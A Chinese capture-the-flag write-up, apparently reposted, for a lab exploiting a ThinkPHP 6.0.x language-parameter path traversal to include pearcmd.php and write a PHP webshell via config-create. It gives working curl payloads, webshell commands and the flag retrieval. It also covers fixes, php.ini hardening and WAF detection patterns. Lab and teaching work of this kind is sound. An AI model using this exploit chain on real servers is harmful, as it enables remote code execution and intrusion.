好靶场-TP1.0-WP

admin 2025-12-23 16:03:19 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详解ThinkPHP6.x多语言模块LFI漏洞利用,通过路径穿越包含pearcmd.php并利用config-create命令写入Webshell实现RCE。提供了漏洞检测Payload、防御修复建议及代码审计要点,适合实战与CTF学习。 综合评分: 88 文章分类: 渗透测试,WEB安全,漏洞分析,漏洞POC,CTF


cover_image

好靶场-TP1.0-WP

原创

泷羽Sec-静安

泷羽Sec-静安

2025年12月22日 17:36 云南

关注泷羽Sec泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具

好靶场

学安全,别只看书上手练,就来好靶场,本WP靶场已开放,欢迎体验:

🔗 入口:http://www.loveli.com.cn/see_bug_one?id=515

✅ 邀请码:48ffd1d7eba24bf4

🎁 填写即领 7 天高级会员,解锁更多漏洞实战环境!快来一起实战吧!👇

前置知识

1. 文件包含漏洞(LFI – Local File Inclusion)

  • • PHP include/require 函数可以包含并执行指定的 PHP 文件
  • • 当用户可控的参数被传入包含函数且未做充分过滤时,可造成任意文件包含
  • • 即使包含非 PHP 文件,也可能通过特殊技巧实现代码执行

2. ThinkPHP 多语言模块特性

  • • ThinkPHP 6.x 的多语言功能允许动态加载语言包文件
  • • lang 参数用于指定语言文件路径
  • • 路径过滤不当可能导致目录穿越

3. PEAR(PHP Extension and Application Repository)

  • • PHP 的包管理系统,类似于 Python 的 pip
  • • pearcmd.php 是 PEAR 的命令行接口文件
  • • 该文件在 Web 环境下会解析 $_GET 参数构建 $_SERVER['argv'] 数组
  • • 常见路径:/usr/local/lib/php/pearcmd.php 或 /usr/share/php/pearcmd.php

4. PEAR config-create 命令

  • • 用于创建 PEAR 配置文件
  • • 语法:pear config-create <root-path> <filename>
  • • 第一个参数(root-path)会被写入配置文件内容中
  • • 可以利用此特性在 root-path 中注入 PHP 代码

靶场考点/漏洞原理

漏洞链条

  1. 1. ThinkPHP 多语言模块路径穿越漏洞
  • • ThinkPHP 6.0.x 版本在处理 lang 参数时存在路径穿越过滤不完善
  • • 使用 ..././ 可以绕过某些过滤规则(过滤 ../ 后仍然剩余 ../
  • • 成功包含系统中的任意 PHP 文件
  1. 2. pearcmd.php 参数注入
   // pearcmd.php 会将 URL 参数解析为命令行参数
   // ?param1=value1&param2=value2
   // 转换为 argv[1]=param1, argv[2]=value1, argv[3]=param2, argv[4]=value2
  • • 通过 GET 参数构造 PEAR 命令的参数

  • • pearcmd.php 在 Web 环境下的特殊行为:

  1. 3. config-create 命令写文件
  • • config-create 命令会创建 PEAR 配置文件
  • • 第一个参数(root-path)会原样写入文件内容中
  • • 在 root-path 中注入 PHP 代码,写入 webshell

漏洞原理图解

用户请求
&nbsp; &nbsp; ↓
ThinkPHP lang 参数处理
&nbsp; &nbsp; ↓
路径穿越绕过(..././)
&nbsp; &nbsp; ↓
包含 /usr/local/lib/php/pearcmd.php
&nbsp; &nbsp; ↓
pearcmd.php 解析 GET 参数为 argv
&nbsp; &nbsp; ↓
执行 config-create 命令
&nbsp; &nbsp; ↓
将包含 PHP 代码的 root-path 写入文件
&nbsp; &nbsp; ↓
访问生成的文件,执行 PHP 代码
&nbsp; &nbsp; ↓
RCE (Remote Code Execution)

解题思路

第一步:发现入口点(如何测试到 LFI)

这是关键问题:如何发现 lang 参数存在 LFI 漏洞?

方法 1:黑盒测试常见参数

CTF 中常见的可能存在文件包含的参数名:

# 测试常见文件包含参数
?file=
?page=
?path=
?include=
?lang=&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # ← ThinkPHP 多语言功能
?template=
?view=
?module=

这里的Cookie的参数也提示了参数名是lang

方法 2:框架指纹识别

# 1. 访问首页,查看源码
curl http://target.com/

# 输出通常包含 ThinkPHP 版本信息:
# "ThinkPHP V6.0.12LTS"

# 2. 查找已知漏洞
# ThinkPHP 6.0.x 多语言模块已知存在 LFI 漏洞
# CVE 或公开 POC 中会提到 lang 参数

# 3. 测试验证
curl&nbsp;"http://target.com/public/index.php?lang=../../../../etc/passwd"

使用ThinkPHP V6.0.12LTS+github poc 这样的搜索关键词,就可以搜索到相关的漏洞。

这篇和靶场一模一样

https://www.freebuf.com/articles/web/352154.html

还有github上另一篇 https://github.com/atk7r/ThinkPHP-RCE-Poc

这里也验证了方法1的方式

第二步:验证 LFI 可用性

参考文章验证 pearcmd.php

# 尝试包含 pearcmd.php(需要多次尝试找到正确路径深度)
curl&nbsp;"http://dtljxzl.haobachang.loveli.com.cn:8888/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd"

# 成功标志:看到 PEAR 相关错误信息或警告
# Warning: array_map(): Expected parameter 2 to be an array...

第三步:利用 pearcmd.php 实现 RCE

3.1 理解 pearcmd.php 的参数解析机制

关键点:URL 中的 GET 参数会被解析为 argv 数组

URL: ?lang=xxx&a=b&c=d
解析为:
argv[0] = "pearcmd.php"
argv[1] = "a" &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 参数名
argv[2] = "b" &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 参数值
argv[3] = "c" &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 参数名
argv[4] = "d" &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 参数值

config-create 命令需要

argv[1] = "config-create" &nbsp;# 命令名
argv[2] = "<root-path>" &nbsp; &nbsp;# 第一个参数(会写入文件)
argv[3] = "<filename>" &nbsp; &nbsp; # 第二个参数(目标文件路径)

3.3 构造正确的参数结构

使用 &+param+ 格式:

&+config-create+<root-path>+<filename>

分解说明:

  • • &+ – 空参数名(GET 参数名为空)
  • • config-create – 作为 argv[1]
  • • + – 空格分隔符
  • • <root-path> – 作为 argv[2],这里注入 PHP 代码
  • • + – 空格分隔符
  • • <filename> – 作为 argv[3],目标文件路径

3.4 注入 PHP 代码

尝试写入一个常见的ls命令观察执行结果

curl&nbsp;"http://dtljxzl.haobachang.loveli.com.cn:8888/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/\<?=\`ls\`?>/+/var/www/html/cmd.php"

命令执行成功,有搞头。然后创建通用命令执行 webshell

curl --globoff&nbsp;'http://iyb777v.haobachang.loveli.com.cn:8888/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=`$_GET[x]`?>/+/var/www/html/s.php'

payload 解析

  • • <?=:PHP 短标签(等同于 <?php echo
  • • “` :反引号,执行 shell 命令
  • • $_GET[x]:从 URL 参数 x 获取要执行的命令
  • • ?>:PHP 结束标签

注意事项

  • • 使用 --globoff 禁用 curl 的 URL 通配符解析(避免 [``] 被误解析)
  • • PHP 代码会被写入 PEAR 配置文件的路径字段中

第四步:执行命令获取 Flag

# 方式 1:尝试常见 flag 位置
curl&nbsp;"http://dtljxzl.haobachang.loveli.com.cn:8888/s.php?x=cat+/flag"
curl&nbsp;"http://dtljxzl.haobachang.loveli.com.cn:8888/s.php?x=cat+/tmp/flag.txt"
curl&nbsp;"http://dtljxzl.haobachang.loveli.com.cn:8888/s.php?x=cat+/var/www/flag"

# 方式 2:搜索 flag 文件
curl&nbsp;"http://dtljxzl.haobachang.loveli.com.cn:8888/s.php?x=find+/+-name+flag*"

# 方式 3:查看环境变量
curl&nbsp;"http://dtljxzl.haobachang.loveli.com.cn:8888/s.php?x=env"

# 方式 4:列出目录查找线索
curl&nbsp;"http://dtljxzl.haobachang.loveli.com.cn:8888/s.php?x=ls+/"
curl&nbsp;"http://dtljxzl.haobachang.loveli.com.cn:8888/s.php?x=ls+/tmp"

本题答案

curl&nbsp;"http://dtljxzl.haobachang.loveli.com.cn:8888/s.php?x=cat+/tmp/flag.txt"

关键技术细节

1. 路径穿越的层数

ThinkPHP 不同版本和配置可能需要不同的 ../ 层数:

# 尝试不同深度
../../../
../../../../../../../../
..././../.../&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # ThinkPHP 特殊绕过

2. curl 命令的陷阱

问题 1:方括号被解析为范围

# 错误
curl&nbsp;'http://example.com/?x=$_GET[x]'
# curl: (3) bad range in URL position...

# 解决
curl --globoff&nbsp;'http://example.com/?x=$_GET[x]'

问题 2:URL 中的特殊字符

# 使用单引号包裹 URL,避免 shell 解释 $ 等字符
curl&nbsp;'http://...'

# 或使用 URL 编码
# [ → %5B
# ] → %5D
# $ → %24

3. PHP 短标签

<?=&nbsp;expression&nbsp;?>&nbsp; &nbsp; &nbsp; # 等同于 <?php echo expression; ?>
<?php&nbsp;expression;&nbsp;?>&nbsp; &nbsp;# 完整标签(更兼容)

如果短标签不可用,改用完整标签:

curl --globoff&nbsp;'...&+config-create+/<?php system($_GET[x]);?>/+...'

漏洞修复/规避方法

1. ThinkPHP 框架层面

修复路径穿越漏洞

// 不安全的代码
$lang&nbsp;=&nbsp;$_GET['lang'];
include&nbsp;"/path/to/lang/{$lang}.php";

// 安全修复
$lang&nbsp;=&nbsp;$_GET['lang'];
// 1. 白名单验证
$allowed&nbsp;= ['zh-cn',&nbsp;'en-us',&nbsp;'ja'];
if&nbsp;(!in_array($lang,&nbsp;$allowed)) {
&nbsp; &nbsp; die('Invalid language');
}

// 2. 移除所有目录穿越字符
$lang&nbsp;=&nbsp;str_replace(['../',&nbsp;'.\\',&nbsp;'..\\'],&nbsp;'',&nbsp;$lang);
$lang&nbsp;=&nbsp;basename($lang);&nbsp;// 只保留文件名

// 3. 限制在指定目录
$lang_file&nbsp;=&nbsp;realpath("/path/to/lang/{$lang}.php");
if&nbsp;(strpos($lang_file,&nbsp;'/path/to/lang/') !==&nbsp;0) {
&nbsp; &nbsp; die('Path traversal detected');
}

2. 服务器配置层面

禁用不必要的文件

# 删除或移动 pearcmd.php(如果不需要 PEAR)
rm&nbsp;/usr/local/lib/php/pearcmd.php

# 或限制访问权限
chmod&nbsp;600 /usr/local/lib/php/pearcmd.php

PHP 配置加固

; php.ini
open_basedir&nbsp;= /var/www/html:/tmp&nbsp; &nbsp; ; 限制可访问路径
disable_functions&nbsp;= system,exec,passthru,shell_exec,popen,proc_open&nbsp; ; 禁用危险函数
allow_url_include&nbsp;=&nbsp;Off&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; 禁止包含远程文件

3. Web 应用防火墙(WAF)规则

# 检测路径穿越特征
.*\.\./.*
.*\.\.\\.*
.*%2e%2e%2f.*
.*%2e%2e%5c.*

# 检测常见敏感文件包含
.*/etc/passwd.*
.*/usr/local/lib/php/pearcmd.*
.*pearcmd.*

# 检测 PHP 代码注入特征
.*<\?php.*
.*<\?=.*
.*`.*\$_GET.*

4. 代码审计要点

在审计 ThinkPHP 或其他框架时,重点关注:

// 危险函数
include()
require()
include_once()
require_once()
file_get_contents()
readfile()
fopen()

// 用户可控参数
$_GET
$_POST
$_REQUEST
$_COOKIE

5. 安全开发建议

  1. 1. 最小权限原则:Web 应用运行用户不应有写入敏感目录的权限
  2. 2. 输入验证:对所有用户输入进行严格的白名单验证
  3. 3. 路径规范化:使用 realpath() 获取真实路径后再验证
  4. 4. 框架更新:及时更新到最新版本,修复已知漏洞
  5. 5. 安全配置:按照官方安全加固指南配置框架和服务器

总结

本题综合考察了:

  1. 1. ThinkPHP 框架漏洞利用:多语言模块的路径穿越
  2. 2. 文件包含漏洞利用:从 LFI 到 RCE 的进阶利用
  3. 3. PEAR 机制理解:pearcmd.php 的特殊行为
  4. 4. 参数构造技巧:如何通过 URL 参数控制命令行参数
  5. 5. 工具使用细节:curl 命令的各种陷阱和解决方案

核心利用链:ThinkPHP LFI → 包含 pearcmd.php → 参数注入 config-create → 写入 webshell → RCE

这类漏洞的发现往往需要:

  • • 对目标框架的深入了解
  • • 对常见漏洞模式的敏感度
  • • 不断的测试和尝试
  • • 查阅公开资料和 CVE 数据库

🔔 想要获取更多网络安全与编程技术干货?

关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻

马上加入我们,共同成长!🌟

👉 长按或扫描二维码关注公众号

直接回复文章中的关键词,获取更多技术资料与书单推荐!📚


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:泷羽Sec-静安 泷羽Sec-静安《好靶场-TP1.0-WP》

评论:0   参与:  1